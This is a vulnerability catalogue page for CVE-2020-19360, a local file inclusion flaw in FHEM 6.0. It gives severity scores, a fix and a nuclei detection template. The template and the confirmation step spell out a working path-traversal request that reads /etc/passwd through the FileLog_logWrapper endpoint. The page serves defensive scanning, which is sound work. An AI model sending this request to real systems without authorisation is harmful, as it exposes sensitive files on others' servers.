Browse / CVEs / CVE-2020-19360
CVE-2020-19360· fhem / fhem· CWE-22
FHEM 6.0 - Local File Inclusion
highseverity
7.5CVSS score
17.3%likelihood of exploitation, next 30 days
97%of all CVEs are less likely
Readycheck to confirm it
FHEM version 6.0 suffers from a local file inclusion vulnerability.
Impact
Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the target system.
Fix
Apply the latest patch or upgrade to a version that is not affected by the vulnerability.
How to confirm it
Send: GET {{BaseURL}}/fhem/FileLog_logWrapper?dev=Logfile&file=%2fetc%2fpasswd&type=text
Positive when: matches /root:[x*]:0:0/ AND status 200Run it with nuclei: nuclei -id CVE-2020-19360 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2020-19360
info:
name: FHEM 6.0 - Local File Inclusion
author: 0x_Akoko
severity: high
description: FHEM version 6.0 suffers from a local file inclusion vulnerability.
impact: |
Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the target system.
remediation: |
Apply the latest patch or upgrade to a version that is not affected by the vulnerability.
reference:
- https://github.com/EmreOvunc/FHEM-6.0-Local-File-Inclusion-LFI-Vulnerability/blob/master/README.md
- https://github.com/EmreOvunc/FHEM-6.0-Local-File-Inclusion-LFI-Vulnerability
- https://emreovunc.com/blog/en/FHEM-v6.0-LFI-Vulnerability-01.png
- https://nvd.nist.gov/vuln/detail/CVE-2020-19360
- https://github.com/ARPSyndicate/cvemon
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2020-19360
cwe-id: CWE-22
epss-score: 0.17278
epss-percentile: 0.97128
cpe: cpe:2.3:a:fhem:fhem:6.0:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: fhem
product: fhem
tags: cve,cve2020,fhem,lfi,vuln
http:
- method: GET
path:
- "{{BaseURL}}/fhem/FileLog_logWrapper?dev=Logfile&file=%2fetc%2fpasswd&type=text"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:[x*]:0:0"
- type: status
status:
- 200References
- https://github.com/EmreOvunc/FHEM-6.0-Local-File-Inclusion-LFI-Vulnerability/blob/master/README.md
- https://github.com/EmreOvunc/FHEM-6.0-Local-File-Inclusion-LFI-Vulnerability
- https://emreovunc.com/blog/en/FHEM-v6.0-LFI-Vulnerability-01.png
- https://nvd.nist.gov/vuln/detail/CVE-2020-19360
- https://github.com/ARPSyndicate/cvemon
Use this check only on systems you are authorised to test. Where the data comes from